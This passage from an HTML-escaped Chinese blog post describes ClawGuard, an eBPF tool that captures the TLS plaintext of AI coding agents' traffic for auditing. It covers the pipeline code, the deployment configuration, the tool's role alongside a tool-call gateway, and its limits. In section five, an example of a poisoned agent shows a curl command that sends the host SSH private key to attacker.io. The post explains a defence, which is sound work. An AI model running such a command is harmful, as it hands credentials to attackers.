&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;reassemblyState&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;origLen&lt;/span&gt;   &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;totalLen&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;truncated&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;bool&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fragCnt&lt;/span&gt;   &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;slots&lt;/span&gt;     &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fragSlots&lt;/span&gt;   &lt;span style=&#34;color:#75715e&#34;&gt;// 分片槽位&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;firstAt&lt;/span&gt;   &lt;span style=&#34;color:#a6e22e&#34;&gt;time&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Time&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 第一个 fragment 到达时间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;lastAt&lt;/span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;time&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Time&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 最新 fragment 到达时间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;关键参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CLAWGUARD_CHUNK_POOL_MB = 256&lt;/code&gt; — 用户态分片池大小&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CLAWGUARD_REASSEMBLY_TTL = 30s&lt;/code&gt; — 不完整的 reassembly 超时清理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CLAWGUARD_PAYLOAD_PREVIEW_MAX = 16384&lt;/code&gt; — stdout 日志预览上限&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;重组完成后，生成一个 &lt;code&gt;CaptureEvent&lt;/code&gt; 交给管道。&lt;/p&gt;
&lt;h3 id=&#34;32-管道架构&#34;&gt;3.2 管道架构&lt;/h3&gt;
&lt;p&gt;ClawGuard 的管道设计是亮点——&lt;strong&gt;插件化、可热加载、同步+异步双通道&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;BPF ringbuf → 重组引擎 → CaptureEvent
                          │
                     Pipeline.Emit()
                     ┌─────┴─────┐
                     ▼           ▼
                Sync Processors  Fan-out
                (mask, mutate)   │
                            ┌────┴────┐
                            ▼         ▼
                       Sink Queues   Async Queues
                       (file/otel)   (detect)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;pipeline.go&lt;/code&gt; 的核心逻辑：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;p&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Pipeline&lt;/span&gt;) &lt;span style=&#34;color:#a6e22e&#34;&gt;Emit&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;ev&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;event&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;CaptureEvent&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 1. 注入版本信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;snap&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;version&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Snapshot&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;ev&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ClawguardVersion&lt;/span&gt; = &lt;span style=&#34;color:#a6e22e&#34;&gt;snap&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;ev&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ClawguardCommit&lt;/span&gt; = &lt;span style=&#34;color:#a6e22e&#34;&gt;snap&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Commit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 2. Sync processors（同步、可修改 event）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;proc&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;range&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;p&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;mgr&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;SyncProcessors&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;err&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;proc&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Process&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;ev&lt;/span&gt;); &lt;span style=&#34;color:#a6e22e&#34;&gt;err&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sync processor %s: %v&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 3. 非阻塞推入所有 sink 队列&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;range&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;p&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;sinkQueues&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;select&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ev&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;default&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;p&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;onDrop&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;// 队列满，丢弃计数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 4. 非阻塞推入所有 async processor 队列&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;为什么要区分 sync 和 async？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sync&lt;/strong&gt;：&lt;code&gt;mask&lt;/code&gt; 处理器可以修改 event（比如脱敏、过滤敏感字段）。必须等它完成，下游才看到最终版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Async&lt;/strong&gt;：&lt;code&gt;detect&lt;/code&gt; 处理器只观察、不修改。它跑在旁路，不影响主路径延迟。默认启用的 &lt;code&gt;detect&lt;/code&gt; 处理器会输出观测发现（findings）到日志，但不阻塞 sink。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;插件热加载&lt;/strong&gt;：通过 SIGHUP 信号重载配置和插件列表，&lt;code&gt;AfterReload()&lt;/code&gt; 停止旧 worker、启动新 worker，不脱钩 eBPF 程序。&lt;/p&gt;
&lt;h3 id=&#34;33-插件生态&#34;&gt;3.3 插件生态&lt;/h3&gt;
&lt;p&gt;ClawGuard 定义了清晰的插件合约（&lt;code&gt;docs/plugin-contract.md&lt;/code&gt;），内置 5 个参考实现：&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;插件&lt;/th&gt;
          &lt;th&gt;模式&lt;/th&gt;
          &lt;th&gt;功能&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;clawguard-sink-file&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Sink&lt;/td&gt;
          &lt;td&gt;写入 JSONL 文件（默认启用）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;clawguard-sink-otel&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Sink&lt;/td&gt;
          &lt;td&gt;OTLP 日志导出&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;clawguard-sink-debugws&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Sink&lt;/td&gt;
          &lt;td&gt;调试 Web UI / WebSocket&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;clawguard-processor-detect&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Async&lt;/td&gt;
          &lt;td&gt;观测规则检测（默认启用）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;clawguard-processor-mask&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Sync&lt;/td&gt;
          &lt;td&gt;存储侧脱敏（默认关闭）&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;插件通过 JSON RPC 与主进程通信，意味着你可以用任何语言写自己的 sink/processor，放入 &lt;code&gt;CLAWGUARD_PLUGIN_DIR&lt;/code&gt; 即可。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;四部署方式daemonset-vs-sidecar&#34;&gt;四、部署方式：DaemonSet vs Sidecar&lt;/h2&gt;
&lt;p&gt;ClawGuard 支持两种部署模式：&lt;/p&gt;
&lt;h3 id=&#34;kubernetes-daemonset&#34;&gt;Kubernetes DaemonSet&lt;/h3&gt;
&lt;p&gt;每个节点一个 ClawGuard Pod，通过 &lt;code&gt;clawguard.io/monitor: &amp;quot;true&amp;quot;&lt;/code&gt; 注解选择要观察的目标：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;apiVersion&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;v1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;kind&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Pod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;metadata&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;annotations&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;clawguard.io/monitor&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;spec&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;containers&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;my-agent&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;image&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;my-agent:latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;DaemonSet 的权限要求：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;securityContext&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;privileged&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;   &lt;span style=&#34;color:#75715e&#34;&gt;# 需要加载 eBPF 程序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;hostPID&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;        &lt;span style=&#34;color:#75715e&#34;&gt;# 访问目标进程的 /proc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;hostPath&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;path&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;/var/log/clawguard  &lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;# 明文日志持久化&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;docker-单机模式&#34;&gt;Docker 单机模式&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d --name clawguard &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --privileged --pid&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;host &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  -v /var/run/docker.sock:/var/run/docker.sock &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  -v &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;pwd&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/clawguard-logs:/var/log/clawguard&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  -e CLAWGUARD_LABEL&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;clawguard.monitor&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;true &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  eyelessly/clawguard:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Docker 模式通过 Docker API 监听容器事件，用 label 过滤目标容器。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;五与-mcpzero-体系的配合&#34;&gt;五、与 MCPZERO 体系的配合&lt;/h2&gt;
&lt;p&gt;ClawGuard 在 MCPZERO 安全栈中扮演的角色是 &lt;strong&gt;「加密隧道里最后一道可见性」&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Agent (Claude Code / Codex / Cursor)
  │
  ├── MCPZERO Entry Gateway
  │   └─ 拦截工具调用（read_file / send_email / http_request）
  │
  ├── ClawGuard eBPF Sidecar
  │   └─ 捕获 TLS 明文（SSL_write / Go TLS Write）
  │       └─ 审计日志为什么 Agent 向哪个 API 发送了什么
  │
  └── Hysee 桌面沙箱（未来）
      └─ microVM 级别的进程隔离 + 关键字网络过滤
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;MCPZERO 做「协议层控制」——工具能不能调、参数合不合法、频率超没超。
ClawGuard 做「传输层可见性」——TLS 隧道的明文内容是什么、有没有外泄。&lt;/p&gt;
&lt;p&gt;两者互补而不重叠。网关不知道 TLS 隧道里跑了什么，eBPF 侧不知道 call 的语义是什么。&lt;/p&gt;
&lt;p&gt;举个具体场景：&lt;/p&gt;
&lt;p&gt;Agent 被投毒后执行 &lt;code&gt;curl -d &amp;quot;$(cat /etc/ssh/ssh_host_rsa_key)&amp;quot; https://attacker.io/exfil&lt;/code&gt;。MCPZERO 网关可能放行这个 HTTP 请求（看起来像正常的 API 调用），但 &lt;strong&gt;ClawGuard 捕获的 TLS 明文里会看到 ssh 私钥被发送出去&lt;/strong&gt;。这就是检测盲区的闭合。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;六局限--演进方向&#34;&gt;六、局限 &amp;amp; 演进方向&lt;/h2&gt;
&lt;h3 id=&#34;当前局限&#34;&gt;当前局限&lt;/h3&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;局限&lt;/th&gt;
          &lt;th&gt;原因&lt;/th&gt;
          &lt;th&gt;缓解&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;不支持 BoringSSL / Java SSLEngine&lt;/td&gt;
          &lt;td&gt;只 hook 了 OpenSSL 和 Go crypto/tls&lt;/td&gt;
          &lt;td&gt;Node.js 会 fallback 到 libssl 符号&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Go 要求 1.21+ / unstripped 或 pclntab 可用&lt;/td&gt;
          &lt;td&gt;Go 内联函数地址解析需要符号表&lt;/td&gt;
          &lt;td&gt;静态编译的 Go 二进制多数没问题&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;被动观察，不阻断&lt;/td&gt;
          &lt;td&gt;设计原则（不碰发送缓冲区）&lt;/td&gt;
          &lt;td&gt;已预留 &lt;code&gt;mask&lt;/code&gt; sync processor 接口（默认关闭）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;回压情况下丢事件&lt;/td&gt;
          &lt;td&gt;ringbuf / 池 / TTL / 队列满&lt;/td&gt;
          &lt;td&gt;所有丢包都在 Prometheus 指标 &lt;code&gt;clawguard_sink_dropped_total&lt;/code&gt; 中可观测&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;不支持 Trace ID 提取&lt;/td&gt;
          &lt;td&gt;eBPF 侧未实现&lt;/td&gt;
          &lt;td&gt;明文中有 &lt;code&gt;traceparent&lt;/code&gt; 时可利用&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;演进方向&#34;&gt;演进方向&lt;/h3&gt;
&lt;p&gt;ClawGuard 的开源路线图（来自 repo 和论文）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Sync Mask 处理器&lt;/strong&gt; — 在明文保存前对敏感字段做原地脱敏（默认关闭，合规场景启用）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;eBPF TCP 关联&lt;/strong&gt; — 把 TLS 明文和底层的 TCP 连接关联起来，做到「明文写入了哪个 socket」&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trace ID 的 eBPF 提取&lt;/strong&gt; — 不需要依赖明文中的 &lt;code&gt;traceparent&lt;/code&gt;，直接在 eBPF 侧提取&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 Hysee 的通信通道&lt;/strong&gt; — ClawGuard 发现的明文外泄事件推送给 Hysee 做实时拦截&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;
&lt;p&gt;ClawGuard 在 2026 年的 Agent 安全版图里占据了一个&lt;strong&gt;被严重低估的位置&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;大家都去抢网关层（MCPZERO、Lasso、Microsoft MCP Gateway），少有人同时覆盖运行时 TLS 明文捕获层。而后者恰恰是最适合用 eBPF 解决的问题——&lt;strong&gt;不需要改协议、不需要改框架、不需要改部署流程，只要 Linux ≥ 5.17 和 KVM 权限&lt;/strong&gt;，就能获得 Agent 所有对外通信的完整明文审计日志。&lt;/p&gt;
&lt;p&gt;它的插件化管道设计和 sync/async 双通道架构，为未来的「检测 + 阻断」闭环预留了接口。今天它是 observe-and-persist，明天它可以变成 observe-and-block——而整个 BPF 程序和重组引擎不需要大改。&lt;/p&gt;
&lt;p&gt;在 MCPZERO + ClawGuard + Hysee 的三层防线里，ClawGuard 是连接「协议控制」和「进程隔离」的桥梁层。它不是最耀眼的那一层——但缺了它，网关和沙箱之间有一段加密隧道是完全不可见的黑洞。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;参考资源：&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/eyelessly/clawguard&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
